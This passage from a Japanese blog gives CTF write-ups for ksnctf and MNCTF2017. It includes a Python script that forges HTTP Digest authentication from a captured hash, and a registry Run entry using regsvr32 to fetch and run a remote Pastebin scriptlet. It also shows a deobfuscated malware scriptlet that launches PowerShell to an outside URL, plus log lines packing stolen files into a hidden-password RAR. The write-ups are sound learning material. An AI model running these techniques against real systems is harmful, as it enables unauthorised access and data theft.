とのことなので、先程のAuthorizationヘッダの認証部分をbase64 decodeすると、Basic認証のID,PASSが出てくる。本当にBasic認証は簡単にバレちゃうんだなぁ。

$ echo cTg6RkxBR181dXg3eksyTktTSDhmU0dB | base64 -D
q8:FLAG_******

Digest is secure! 150pt

問題

http://ksnctf.sweetduet.info/q/9/q9.pcap

Basic認証からのステップアップで、今度はDigestだから安全だろ!ってタイトルに見える。
URLにアクセスすると、先ほどと同じようなログが落ちている。

解答

こっちはwiresharkでも開けた。50行。
関連ありそうなログは下記。

WWW-Authenticate: Digest realm="secret", nonce="bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b", algorithm=MD5, qop="auth"
Authorization: Digest username="q9", realm="secret", nonce="bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b", uri="/~q9/", algorithm=MD5, response="c3077454ecf09ecef1d6c1201038cfaf", qop=auth, nc=00000001, cnonce="9691c249745d94fc"
Authentication-Info: rspauth="42b425bdd3ad27086858915611646f7c", cnonce="9691c249745d94fc", nc=00000001, qop=auth
Last-Modified: Sat, 26 May 2012 12:28:32 GMT
<!DOCTYPE html>
  <head>
    <meta charset="utf-8">
    <title>Q9</title>
  </head>
  <body>
    <p>Congratulations!</p>
    <p>The flag is <a href="flag.html">here</a>.</p>
  </body>
</html>

認証を突破して flag.html にアクセスすると良さそう。

Digest認証についてなんとなくのイメージ・基礎知識しか知らないので調べてみる。
Digest認証 - Wikipedia

Digest認証(ダイジェストにんしょう)とは、HTTPの認証方法の一つ。ユーザ名とパスワードをMD5でハッシュ(ダイジェスト)化して送る。Basic認証では防げなかった盗聴や改竄を防ぐために考案された。

ほうほう。あとは、典型的なDigest認証におけるHTTPクライアントとHTTPサーバの間の通信の紹介があり、ユーザ名とパスワードの具体的な計算方法も載っている。
一通り流れを理解した後、具体的な計算方法を確認。

クライアントが計算するresponseは以下のようにして求められる: A1 = ユーザ名 ":" realm ":" パスワード A2 = HTTPのメソッド ":" コンテンツのURI response = MD5( MD5(A1) ":" nonce ":" nc ":" cnonce ":" qop ":" MD5(A2) ) サーバ側では、MD5(A1) をあらかじめ計算し格納してある。nonce,nc,cnonce,qopとHTTPのメソッド(GETなど)とコンテンツのURIはクライアントから送られてくるので、サーバ側でもresponseの正解を計算できる。

今回はパスワードそのものは必要ではなく、とにかくログインさえできればFLAGにたどり着きそう。ログから上記の大部分の値がわかっている。パスワードはわからなくてもMD5(A1)さえわかればresponseが自分で計算できるので、計算して送ってやると良さそう。

MD5(A1)を知るためには、responseのMD5ハッシュが逆変換できると良さそう。

response = c3077454ecf09ecef1d6c1201038cfaf

MD5SHA1は逆変換用のテーブルを持っているサービスがいくつかあるので、もしかしたら上記の値がヒットするかも?と思ってダメ元でやってみた。いくつかWebサービスを試したが、こちらでなんとなんとヒットした。

Best MD5 & SHA1 Password Hash Decrypter - Hash Toolkit

f:id:kusuwada:20180905120200p:plain

responseのMD5逆変換結果

c627e19450db746b739f41b64097d449:bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b:00000001:9691c249745d94fc:auth:31e101310bcd7fae974b921eb148099c

逆変換結果から、

MD5(A1) = c627e19450db746b739f41b64097d449
nonce = bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b
nc = 00000001
cnonce = 9691c249745d94fc
qop = auth
MD5(A2) = 31e101310bcd7fae974b921eb148099c

とわかりました。
更に MD5(A1) を逆変換するとユーザー名、パスワードが出てきそうなんだけども同じようにMD5逆変換しても出てこなかった。ちなみに、平易なユーザー名・パスワードの組み合わせだとMD5Hash化してあってもGoogle検索すると出てきちゃうみたい。今回のはGoogle検索(-ksnctfは必須)してもそれっぽい情報は出てこなかった。
で、先程のWikipediaのページにもあったとおり

サーバ側では、MD5(A1) をあらかじめ計算し格納してある。nonce,nc,cnonce,qopとHTTPのメソッド(GETなど)とコンテンツのURIはクライアントから送られてくるので、サーバ側でもresponseの正解を計算できる。

ということは、A1の中身はわからなくてもMD5(A1)さえわかればクライアント側でもresponseを生成できると。
nonceはサーバーからクライアントに返されるチャレンジコードに相当し、アクセスごとに変わるものなので、先程得られた値は使い回しはできない。再度サーバーにリクエストをし、もらったnonceに対してresponseを作成することになる。

もう少しDigest認証調べてみる。RFCを読んでわかりやすくまとめているサイトがあった。

Digest認証はどのような脆弱性対策をしているか - Soon Lazy

とても勉強になったのでメモメモ。
下記、uriパラメータについての言及。

Digest認証の場合、そもそも攻撃者がリプレイアタックをする動機が少し弱くなっています。というのも、覗き見した認証情報は、覗き見したURIでしか使えないからです。例えば、/index.htmlというURIにクライアントがアクセスしたときの認証情報は、他のURI(/faq.htmlとか)では使えません。

なるほどなー。実は最初にリプレイアタックを試みたけど、こういう仕組みになっているのか。
今回ほしいのはflag.htmlの情報なので、下記パラメータでresponseを作成する。

MD5(A1) = c627e19450db746b739f41b64097d449
nonce = アクセスしてみて返されるやつ
nc = 00000001
cnonce = 9691c249745d94fc
qop = auth
MD5(A2) = MD5(GET:/~q9/flag.html)

実装コード

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests
from hashlib import md5

url = "http://ctfq.sweetduet.info:10080/~q9/flag.html"

username = 'q9'
realm = 'secret'
uri = '/~q9/flag.html'
qop = 'auth'
nonce = ''
nc = '00000001'
cnonce = '9691c249745d94fc'
md5_a1 = 'c627e19450db746b739f41b64097d449'
md5_a2 = md5(('GET:' + uri).encode('utf-8')).hexdigest()

res = requests.get(url)
auth = res.headers['WWW-Authenticate'].replace(' ','').split(',')
for s in auth:
    if s.startswith('nonce'):
        nonce = s.replace('nonce=','').replace('"','')
        break
response = md5((':'.join([md5_a1, nonce, nc, cnonce, qop, md5_a2])).encode('utf-8')).hexdigest()
auth_header = 'Digest username="' + username + '", realm="' + realm + \
              '", nonce="' + nonce + '", uri="' + uri +  '", algorithm=MD5' + \
              ', response="' + response + '", qop="' + qop + '", nc=' + nc + \
              ', cnonce="' + cnonce + '"'
headers = {'Authorization': auth_header}
res = requests.get(url, headers=headers)
print(res.text)

使い捨てコードなのでべた書き多し。わかっているところは予め定数にいれちゃった。
これを実行すると、無事FLAGが出てきました。

実行結果

<!DOCTYPE html>
  <head>
    <meta charset="utf-8">
    <title>Q9</title>
  </head>
  <body>
    <p>FLAG_******</p>
  </body>
</html>

少し気になったので復習

想定解じゃないよな?というのは特に他のCTFではよくあるけども、今回もちょっと気になったので復習してみました。

というのも、今回のようにDigest認証に使用されるような文字列のMD5 Hashって、MD5逆変換ツールに登録されている可能性はそんなに高くないはずなんです。

A1 = ユーザ名 ":" realm ":" パスワード A2 = HTTPのメソッド ":" コンテンツのURI response = MD5( MD5(A1) ":" nonce ":" nc ":" cnonce ":" qop ":" MD5(A2) )

というのを考慮すると、どちらかというと A1MD5はユーザー名とパスワードの組み合わせがありふれている場合はどこかの辞書に登録されていそうですが、responseってランダム文字列であるnonceやcnonceも含んでいますし、そうそう逆変換ツールでは引っかからないと思うんです。
なので逆変換ツールかけてみよう!と思ったときは、かなりダメ元でした。
で、他にこのresponseのMD5逆変換結果を得る方法はなかったのかな?と思い、逆変換後の値 (MD4(A1)部分) でpcapファイルをGrepしてみた。

q9:secret:c627e19450db746b739f41b64097d449

すると、こんな行がHit。あれ、MD5(A1)がログに残ってんじゃん!どういうこと?
と、この通信を追ってみる。
これの前の通信

Host: ctfq.sweetduet.info:10080
Connection: keep-alive
Authorization: Digest username="q9", realm="secret", nonce="bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b", uri="/~q9/htdigest", algorithm=MD5, response="d9f18946e5587401c303b34e00a059eb", qop=auth, nc=00000002, cnonce="6945eb2a7ba8cf7f"

ここで、htdigestというpathにアクセスしている事がわかる。これのResponseにさっきのbodyが入っているようだ。調べてみる。

どうやら特にApacheの場合、Apacheで用意されているダイジェスト認証用パスワードファイル生成ツールらしい。そいういえば先程のwikipediaの方の説明で、

サーバ側では、MD5(A1) をあらかじめ計算し格納してある

とあった。これのことかな?認証のある状態で上記URLにアクセスすると、

{username}:{realm}:{MD5(A1)}

の情報が保管されるようだ。この通信を先に発見して中身が紐解けていれば、MD5(A1)がGetできたということか。
ダイジェスト認証、上記サーバー上の情報と通信ログが漏洩すると、攻撃が成功してしまうというのがよくわかった。今回のような流れでサーバーの情報が漏洩することは滅多にないんだろうけども。

#! 20pt

問題

What's this?
↓
#!/usr/bin/python
print "Hello world"
The flag is FLAG_S?????? (in capital letters).
Don't use a brute force attack :(

解答

しぇばーん、ですよね。大文字にして入力。

こういう問題もあるのかー。優しい。

MNCTF2017を後追いでやってみた

先月MNCTFの存在を知り、2018年の問題を後追いでやってみたところ、とても勉強になったのと、過去問が全部公開されているということだったので、今度は2017年の問題を今更ながらやってみました。

f:id:kusuwada:20180812033613p:plain

2018年をやったときの記事はこちら。MNCTFの概要とか書いていました。

kusuwada.hatenablog.com

MNCTF

練習問題 ☆☆☆ MISC 1

問題

「MNCTF」がフラグとなります。

解答

MNCTF

一瞬どこに回答するか分からなかったけど、問題ページのトップに解答欄があった。
全部の問題の回答をここに投げるらしい。練習問題あってよかった。

昇進試験 ☆☆★ MISC 60

問題

情シス担当のてしがわら君はにしどの部長から、新聞に載っているクロスワードを渡されました。Linuxのコマンドのクロスワードを解いてください。 
[クロスワード](http://mnctf.info/mnctf2017/task/cross/)

クロスワード、のところがリンクになっていて、リンク先にクロスワードがあります。

f:id:kusuwada:20180806001736p:plain

解答

ヨコのカギ

2

# ***** 666 user-password.csv

これは chmod

4

# ****** 8
8: 2 2 2
# ****** 34
34: 2 17
# ****** 11
11:11

素因数分解するコマンドかな。 factor

7

# ******
 02:52:56 up 16:24, 2 users, load average: 0.45, 0.37, 0.39

知らなかった。load average でググったら出てきた。 uptime

タテのカギ

1

# ******
systemd┬ModemManager┬{gbus}
       │            └{gmain}
       ├NetworkManager┬2*[dhclient]
       │              ├{NetworkManager}
・・・

あれ、 tree じゃないの?(6文字)
よく見てみると、ディレクトリやファイルじゃなくてプロセスっぽい名前が。
プロセスのtree表示コマンドというのがあるらしい。 pstree

2

# *** -3 -d 2020-07 -H 2020-07-24
カレンダーっぽいの

カレンダー表示するコマンド cal

3

# **** user-password1.csv user-password2.csv
4c4
< kenzo,ru5514
---
> kenzo,APThunter

その前のcatコマンドで両ファイルが出力されており、その差分が表示されているので diff

5

# cat user-password.csv | ****** -s ',' -t
name        password
teshigawara iloveseio
yamazaki    metalordie
...

これは知らなかった。入力を表形式に変換するコマンドがあるらしい。column

6

# *** 02:40:55 up 16:12, 2 users, load average: 0.20, 0.52, 0.46cu
~中略~
PID     USER    PR  NI  VIRT    RES     SHR     S   %CPU    MEM TIME+   COMMAND
5626    root    20  0   25692   2940    2440    R   0,3     0.1 0:00.03 *** 

これはよく使うやつ。top

全部埋めると、ひっそりと上の方にflagが出現。

通信記録 ☆☆★ NETWORK 80

問題

株式会社マクニキで基幹サーバが乗っ取られるという事件が発生しました。情シス担当のてしがわら君は侵入されたサーバのパケットキャプチャを見ていました。脆弱性を突かれて侵入されたようです。
パケットキャプチャを解析し、突かれた脆弱性の名前を答えてください。

パケットキャプチャがダウンロードできる。デカイ。

解答

ざーーっと眺めてみるが、なにせ大きすぎてどこを見たらよいかわからない・・・。
きっとなにかツールが有るはず、と早々に諦めてツール探しの旅に。

www.virustotal.com

なんと、こちらのサイトでパケットキャプチャファイルを突っ込むと解析してくれるらしい。1年前の問題なので、きっとDB的には何かしら引っかかるに違いない。

投げてみると、こんな結果。

f:id:kusuwada:20180811185758p:plain

Win32:WannaCry-C [Tri] というのが検出された。問題は、

突かれた脆弱性の名前を答えてください

とのことだが、WannaCryはマルウェア名。WannaCryの利用する脆弱性を調べると

FireEye:WannaCryマルウェアのプロファイル

このマルウェアは、Shadow Brokersにより2017年4月14日にリリースされたエクスプロイト (コードネーム「EternalBlue」) を利用します。

ということで、 EternalBlue を入れてみると正解!
EternalBlueって超絶かっこいい。。。

不審起動☆★★ MALWARE 80

問題

情シスのてしがわら君の端末から不審なレジストリが見つかりました。このレジストリにより、不審なスクリプトが実行されるそうだが、そのスクリプトの通信先のFQDNを答えてください。

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"COM"="regsvr32 /s /n /u /i:https://pastebin.com/raw/8CUEUgix scrobj.dll"

解答

問題文にあるURLにアクセスしてみる。

https://pastebin.com/raw/8CUEUgix

すると、難読化された js ファイルが出てくる。

javascript 難読化 解読、とかでググると、下記のようなサイトでオンライン解読できることがわかる。

Online JavaScript beautifier

Javascript Viewer, Beautifier and Formatter, Editor

DirtyMarkup Formatter - HTML, CSS, & JavaScript Beautifier

いやぁ、クライアント開発時に難読化してるかチェック項目も受けてたりするけど、こんなにカジュアルに解読できちゃうのね・・・。少なくともセキュリティ項目としてはあまり効果がないのかもしれない。

今回は1つ目のサイトを使って解読してみました。

<?XML version="1.0"?>
    <scriptlet>
        <registration progid="CLASS" classid="{F3011114-0000-0000-0000-4030F1ED1CDB}">
            <script language="JScript">
                < ![CDATA[
~~ 中略 ~~

                    function is_ps_installed() {
                        pspath = wshel[_0xd5bd('0x17')](_0xd5bd('0x18'));
                        if (fso[_0xd5bd('0x19')](pspath)) {
                            return pspath;
                        } else {
                            pspath = wshel[_0xd5bd('0x17')](_0xd5bd('0x1a'));
                            if (fso[_0xd5bd('0x19')](pspath)) {
                                return pspath;
                            }
                        }
                        return null;
                    }
                    try {
                        var i = 0x258;
                        alert(i['\x74\x6f\x50\x72\x65\x63\x69\x73\x69\x6f\x6e'](0x1f40));
                    } catch (_0x801862) {
                        try {
                            url = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6d\x74\x69\x70\x2e\x6d\x61\x63\x6e\x69\x63\x61\x2e\x6e\x65\x74';
                            showexec = 0x0;
                            wshel = new ActiveXObject(_0xd5bd('0x1b'));
                            fso = new ActiveXObject(_0xd5bd('0x1c'));
                            if (is_ps_installed() && is_dotnet_installed()) {
                                wmi_create_process(pspath + _0xd5bd('0x1d') + url + '\x2f\x70\x31\x27\x29\x29', showexec);
                            }
                        } catch (_0x5babc9) {}
                    }
                ]] >
            </script>
        </registration>
    </scriptlet>

最後の方に、

url = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6d\x74\x69\x70\x2e\x6d\x61\x63\x6e\x69\x63\x61\x2e\x6e\x65\x74';

とurlっぽい変数を見つけたので、これをhex⇒文字列にdecode。
これもオンラインサービスでdecodeしました。

文字コード変換 WEBアプリケーション、フリーCGI配布 ---ahref.org

変換すると下記の文字列が。

https://mtip.macnica.net

ということで、このFQDN部分を回答すればOK。

脅迫文書 ☆☆★ MISC

問題

脅迫文書☆☆★
MISC 90

株式会社マクニキの外部向けのCSIRTチームのメーリングリストに脅迫文のようなメールが届きました。CSIRT唯一のメンバーであるてしがわら君は社長のいけだ君に相談すべきか、悩んでいます。

We had stolen all of your accounts of the Makuniki server and we will publish it.
The only way to stop us, is to pay 1.00 BTC to 19cMxCa81RD9D6s5xTmELaXzM6xgy5hcSf.
We uploaded a partial data to proof what we have.

攻撃者の言っていることが本当か、調査してください。

と、写真。

f:id:kusuwada:20180806001742j:plain

てしがわら君、唯一のCSIRTメンバーなんや。。。頑張れ・・・!

解答

とりあえず、メモにあるURLに手に入れた情報の一部をアップしているそうなので、確認しにアクセスを試みる。

http://nzxj65x32vh2fkhk.onion/phcgnxm6j/4xvucf

おお、.onion アドレスだ!
下記、「スプラウト公式非公認ブログ ピンク・ハッカー」をワクワクしながら読んだものの、勇気がなくてまだ一度も接続したことがなかったのでした・・・。
そして思い出すhagexさん・・・。めっちゃ楽しみにしてたけど、もうこのブログも更新されないのかなぁ。

www.pinkhacker.com

ということで、早速 Tor Browser を下記サイトからDL。

Tor Browser

そう言えばちょうど一年前頃、全然別の目的で「IPアドレスを自由に変えてリクエストを投げられないか」と新人さんと話していたら、このTorを入れて社内で使おうとして、社内のセキュリティ部の人が飛んで来たというオモヒデがある・・・。

Tor Browserを立ち上げて、上記サイトにアクセスするとこんなのが表示された。

f:id:kusuwada:20180806001751p:plain

パスワードを求められたので、紙切れの下の方に書いてあった文字列を入れてみる。
と、入れた。こんなページが表示された。答えもここに書いてありました。

f:id:kusuwada:20180806001759p:plain

Torって知ってる?っていう趣旨の問題だったのかな。
ちなみに、解説では onion.to にしてアクセスすると通常のブラウザからでもアクセスできるとあったので後でChromeでやってみたが、時間がめちゃくちゃかかったので中断。本当にアクセスできるかは見届けられなかった・・・。

攻撃痕跡☆☆★ FORENSICS 100

問題

株式会社マクニキでマルウェア感染事件が発生しました。導入したてのEDR(Endpoint Detection & Response、エンドポイント対策)ツールのログおよび、感染端末から押収した攻撃者が残したと思われるファイルがあります。迅速に対応したため、被害はないと情シスのこばやし君は思ったが、これらを解析し、盗まれたファイルの中で最も重要と思われるファイルの名前(拡張子なし)を答えてください。
・EDRのログファイル
・攻撃者が残したファイル(パスワードは「infected」)

盗まれたファイルの中で最も重要と思われるファイルの名前

ふわっとした依頼だが、答えが出てくるんだろうか?

解答

攻撃者が残したファイル(artifact.zip)とログファイル(EDR_LOG.csv)を開いてみる。
artifact.zipの中身はこんな感じ。

$ file artifact/*
Get-PassHashes.ps1:  ASCII text, with very long lines
GoogleUpdate.ba_:    DOS batch file text, ASCII text, with CRLF line terminators
GoogleUpdate.ex_:    PE32 executable (console) Intel 80386, for MS Windows
Update.dat:          data
jvm.dat:             RAR archive data, flags: EncryptedBlockHeader
jvm.dll:             PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
networkprotocol.nls: data
sam.hive:            MS Windows registry file, NT/2000 or above
sqlite.ex_:          PE32 executable (console) Intel 80386, for MS Windows
system.hive:         MS Windows registry file, NT/2000 or above
vcredist.ex_:        PE32+ executable (console) x86-64, for MS Windows

実行ファイルは色々対策で拡張子の末尾がアンスコに変えてあるのかしら?
ログファイル(CSV)のほうは3.8MBもある。大きい。ログファイルのフォーマットは、

Time(UTC), HostName, UserName, Parent PID, PID, CommandLine, MD5

となっている。

jvm.dat は上述の通りRARファイルらしいので、とりあえず解凍してみる。解凍できるものはとりあえず解凍!RARファイルをMacで解凍するために、unrarをインストールしておく。

Mac で RAR 拡張子のファイルをコマンドラインから解凍する - unrar

$ unrar e jvm.dat 

UNRAR 5.60 freeware      Copyright (c) 1993-2018 Alexander Roshal

Enter password (will not be echoed) for jvm.dat: 

Checksum error in the encrypted file jvm.dat. Corrupt file or wrong password.
No files to extract

のぉぉん、パスワードが必要なのね。でも一気にこのファイルアヤシイ感。

とりあえずとっかかりがわからないので、ログを確認。上から読んでいってもしょうがない量なので、まずは jvm.dat で検索してみる。

"C:\Program Files (x86)\¥Tencent\¥RTXC\Plugins\bizmailclient\sqlite.exe"  a -m5 -hpFnckyou123 "C:\Program Files (x86)\¥Java¥\jre7\¥bin¥\client¥\jvm.dat" c:¥users¥Administrator¥Desktop¥*.xlsx
"C:\Program Files (x86)\¥Tencent\¥RTXC\Plugins\¥bizmailclient¥\sqlite.exe"  a -m5 -hpFnckyou123 "C:\¥Program Files (x86)¥\Java¥\jre7¥\bin¥\client¥\jvm.dat" c:¥windows¥temp¥*.log 

というログがあった。sqlite.exejvm.dat も配布されてたファイルだ。・・・割とありそうな名前なので、今回は付されたのと同じやつのことかはわからないけど。
なんかパスワードっぽいので hpFnckyou123 を入れてRAR解凍を試みるも違うらしい。 -hpFnckyou123pFnckyou123 も違うらしい・・・。詰んだ・・・。

ここで他の方のwrite-upを見てみる。
いろんなたどり着き方があるんだなぁと楽しく読んでいると、こんな解説を発見。

このコマンドラインを見ると -hp オプションの後に続けて何やら良からぬ文字列が続いています。 これは RAR の Hidden Password を付けるコマンドオプションだと気づけば、以下の点が判明するはずです。

MNCTF2017 WriteUp より

おお。全く知らなかったよ。
ちなみに公式ページで確認したら、すごい階層深いところにあった。。。

WinRAR manual > Command line mode > Switches > "-hp[pwd]"

2文字分がoptionで、しかもスペース無しで値が来るとは思っても見なかった。ので、パスワードは Fnckyou123。これで vm.dat を解凍すると

2017want.xlsx:       Microsoft Excel 2007+
MpCmdRun.log:        Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
MpSigStub.log:       Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
serverpassword.xlsx: Microsoft Excel 2007+

4つファイルが出てきた。それぞれ中身を確認すると、

  • 2017want.xlsx: なんかほしい物リストっぽい
  • MpCmdRun.log: ログファイル。特に重要そうな情報なし
  • MpSigStub.log: 同上
  • serverpassword.xlsx: タイトルからしてヤバそう。host, user, passwordのセットが12個ほど。

ということで、serverpassword を入れてみると、正解。

先程のwrite-up中に

なお、情報流出事案においては、攻撃者はファイル圧縮ツールとして RAR を多用することが知られているので、そこを考慮しつつ、アプローチを検討します。

とあった。これも知らんかった。そもそも普段の仕事・開発でRARに触れることが皆無。Windows使ってときは時々ゲームファイルとかRAR形式で置いてあった記憶。
RARコマンドはもう少し慣れておいたほうがセキュリティ周りでは良いのかもしれない。

賭博遊戯☆★★ WEB 100

問題

株式会社マクニキは多角経営の道を進むべく、カジノゲームの開発に着手していた。開発者も兼任していたてしがわら君は脆弱性に気づきつつも、強固な難読化を施し、脆弱性を隠ぺいしました。
難読化を解かずに、「所持金」が37337になるようにしてください。
※表示上なっても正解とはなりません。
[ShinoCasino](http://mnctf.info/mnctf2017/task/shinocasino_ob2.html)

解答

リンクのサイトに飛ぶと、

持ち金:100 BTC 第1ゲーム
サイコロの出目を当ててください。

という文章と、予想(選択式)、掛け金(選択式)のセレクトフィールドと、BETボタンが。

f:id:kusuwada:20180808142539p:plain

一旦遊んでみる。

f:id:kusuwada:20180808142531p:plain

こんな感じで、外れたら掛け金分引かれ、当たれば掛け金×5 がもらえるようです。
「勝て」とか「所持金を〇〇以上にせよ」ではないので、このまま遊び続けても条件を満たせる日は永遠に来ないでしょう・・・。

ということで、まずはソースを見てみます。難読化されているらしいけど。
Chromeだと、「表示 > 開発 / 管理 > ソースを表示」で出てきます。

<html>
<head>
<title>ShinoCasino</title>
<script>

var diceArray=[];
var _0xcddf=['\x72\x65\x74\x75\x72\x6e\x20\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x28\x29\x20','\x7b\x7d\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x28\x22\x72\x65\x74\x75\x72\x6e\x20\x74\x68\x69\x73\x22\x29\x28\x29','\x69\x74\x65\x6d','\x61\x74\x74\x72\x69\x62\x75\x74\x65','\x65\x76\x61\x6c','\x77\x68\x69\x6c\x65\x28\x74\x72\x75\x65\x29\x7b\x7d','\x5b\x4c\x43\x50\x55\x5a\x77\x6c\x41\x52\x70\x72\x4f\x61\x59\x6b\x61\x58\x7a\x4c\x6b\x4f\x49\x61\x64\x4b\x54\x5d','\x6d\x4c\x43\x50\x6e\x55\x5a\x63\x77\x6c\x41\x52\x70\x72\x74\x66\x2e\x4f\x61\x59\x6b\x61\x69\x58\x7a\x4c\x6b\x6e\x66\x6f\x4f\x49\x61\x64\x4b\x54','\x73\x70\x6c\x69\x74','\x66\x6f\x72\x45\x61\x63\x68','\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72','\x72\x65\x74\x75\x72\x6e\x20\x74\x68\x69\x73','\x66\x46\x67','\x6c\x65\x6e\x67\x74\x68','\x51\x48\x6d','\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74','\x4a\x7a\x43','\x7a\x54\x73','\x6a\x54\x57','\x61\x43\x68','\x31\x7c\x34\x7c\x33\x7c\x32\x7c\x30','\x69\x6e\x64\x65\x78\x4f\x66','\x6c\x45\x66','\x76\x4e\x72','\x72\x65\x74\x75\x72\x6e\x20\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x20','\x7b\x7d\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x28\x22\x72\x65\x74\x75\x72\x6e\x20\x74\x68\x69\x73\x22\x29\x28\x20\x29','\x54\x4f\x57','\x63\x6f\x6e\x73\x6f\x6c\x65','\x77\x61\x72\x6e','\x64\x65\x62\x75\x67','\x65\x72\x72\x6f\x72','\x74\x72\x61\x63\x65','\x69\x6e\x66\x6f','\x65\x78\x63\x65\x70\x74\x69\x6f\x6e','\x6c\x6f\x67','\x6d\x48\x6c','\x64\x65\x62\x75\x67\x67\x65\x72','\x75\x49\x50','\x5a\x75\x53','\x61\x70\x70\x6c\x79','\x49\x44\x79'];(function(_0x538a27,_0x2e540c){var _0x3116fb=function(_0x3f3a6c){while(--_0x3f3a6c){_0x538a27['\x70\x75\x73\x68'](_0x538a27['\x73\x68\x69\x66\x74']());}};var _0x4c271d=function(){var _0x556e1e={'\x64\x61\x74\x61':{'\x6b\x65\x79':'\x63\x6f\x6f\x6b\x69\x65','\x76\x61\x6c\x75\x65':'\x74\x69\x6d\x65\x6f\x75\x74'},'\x73\x65\x74\x43\x6f\x6f\x6b\x69\x65':function(_0x4b5a90,_0x1b1247,_0x1c6d85,_0x282c97){_0x282c97=_0x282c97||{};var _0x577fc8=_0x1b1247+'\x3d'+_0x1c6d85;var _0x33b6f7=0x0;for(var _0x33b6f7=0x0,_0x4fcedb=_0x4b5a90['\x6c\x65\x6e\x67\x74\x68'];_0x33b6f7<_0x4fcedb;_0x33b6f7++){var _0x57027c=_0x4b5a90[_0x33b6f7];_0x577fc8+='\x3b\x20'+_0x57027c;var _0xd66837=_0x4b5a90[_0x57027c];_0x4b5a90['\x70\x75\x73\x68'](_0xd66837);_0x4fcedb=_0x4b5a90['\x6c\x65\x6e\x67\x74\x68'];if(_0xd66837!==!![])
...

ってな感じで、見事に難読化されたページが表示されました。
これを「難読化を解かずに」所持金を操作しないといけないんですね。

まずは、自分の持ち金をどこで管理しているのか探しました。クライアント上で管理されているならば、CookieやLocalCash, Sessionなんかにあるんじゃないかなーと。
Chromeだと、「表示 > 開発 / 管理 > デベロッパーツール > Application」の Storage、DB系を確認。
しかし特にLocalで持っていそうな情報は見当たらず。

そもそもページを更新するとまた1からになるので、SessionやDBなどは使っていないかな。

次に、開発者ツールのデバッグ機能を確認。「デベロッパーツール > Sources」
下記のように、debugポイントがたくさんはられているのか、ステップごとにdebuggerに飛ばされてなかなか解析までたどり着かない・・・。ので、右上の "Step over next function call" (もしくは f10 + fn)を連打して次が出るのを待つ。

f:id:kusuwada:20180808142535p:plain

ソースコードが出てきたら、topの方に var diceArray=[]; という変数があり、そのlocal値をマウスオンすると参照できる。こんな感じ。

f:id:kusuwada:20180808142512p:plain

これで、この回のサイコロの出目がわかる。この出目を参考にやってみたら、勝ち続けることはできた。

f:id:kusuwada:20180808142527p:plain

ただ、37337 に近づくにはこんなちまちました掛け金では何回やったら良いのよ!状態。根性でできなくはなさそうだけど。diceが100しか用意されていないということは、100回で終わりなのかな?また0に戻ってくる可能性もあるけど。
他の変数配列の中に、「これでゲームは終わりです」的な文言も見えたので、終わるのかなぁ。

もうこれは所持金を直接操作するしか無い、ということで、Storageを使っていないならプログラムに変数で現在の所持金を持っているだろうと当たりをつける。
先程のデバッグ機能で、local変数を表示させてバーっとみていくと、あった!現在の所持金を保持しているらしき変数 money を発見。

f:id:kusuwada:20180808142522p:plain

つぎにBetして負けた時に、ちょうど 37337 になるように値を設定して、あとは負ける目を選んで、BET! すると、フラグが出てきました!

f:id:kusuwada:20180808142516p:plain

宛先暗号☆★★ CRYPTO 100

問題

株式会社マクニキのある端末で不審な実行ファイルが検出されました。外部と通信するようなのですが、通信先は記録されていません。てしがわら君はその痕跡のファイルを入手したので、ブロックするためにマルウェアの通信先のFQDNを特定してください。
ファイルをダウンロード
svchost.exe(マルウェア本体)
vm.dat(マルウェアと同じディレクトリにあったファイル)
EDR_log.csv(エンドポイント対策のログ)

ヒント)svchost.exeは単体では動作しないようで、vm.datファイルが必要のようです。

解答

問題文にある3つのファイルがDLしたzipに入っている。
出題範囲がCryptoなので、何かしら暗号関連の問題のようだ。

まずはlogを確認してみる。

Time (UTC)   Host Name   User Name   File Name   PID Command Line    MD5 Parent PID
06/29/2017 09:57:03.316 TESHIGA-PC  LOCAL SYSTEM    googleupdate.exe    372 "C:¥Program Files¥Google¥Update¥GoogleUpdate.exe" /svc  dd7423abbe2913e70d50e9318ad57ee4    644
06/29/2017 09:56:46.266 TESHIGA-PC  LOCAL SYSTEM    googleupdate.exe    5652    "C:¥Program Files¥Google¥Update¥GoogleUpdate.exe" /ua /installsource scheduler  dd7423abbe2913e70d50e9318ad57ee4    5228
06/29/2017 09:56:46.034 TESHIGA-PC  LOCAL SYSTEM    taskeng.exe 5228    taskeng.exe {88BFCD29-2446-404F-B951-2F944CE1CCCB} S-1-5-18:NT AUTHORITY¥System:Service:   4f2659160afcca990305816946f69407    1156
06/29/2017 09:46:43.304 TESHIGA-PC  tessy   imedictupdateui.exe 3748    "C:¥Program Files¥Common Files¥Microsoft Shared¥IME14¥SHARED¥imedictupdateui.exe" "check" 1ad7878f3029fb359c8b47ae3444d0d2    2908
・・・

こんな感じ。全部で870行ある。
File Name が svchost.exe のものをピックアップしてみると、User Nameが LOCAL SYSTEM, NETWORK SERVICE, tessy のものがあることがわかる。

問題文のヒント svchost.exeは単体では動作しないようで、vm.datファイルが必要のようです。 というのと、このログを突き合わせると、 tessy の実行したコマンドが、どうやらexeファイルを動作させるコマンドのようだ。
tessy = てしがわら君?

svchost.exe  abcd vm.dat

ここで、windowsならこのコマンド試してみて、wiresharkかなんかで通信見張っていれば取れる気がするなぁ。。。2018の問題もそういうの多かったよなぁ。。。
今回はlessで実行ファイルの中身見てもurlっぽい文字列無かったしなぁ。。。
なんて思っていたが、この際、夫のwindowsPCも動員してしまえ!と思いたち、やっと重い腰を上げて夫のノートPCを借りて使うことにした。
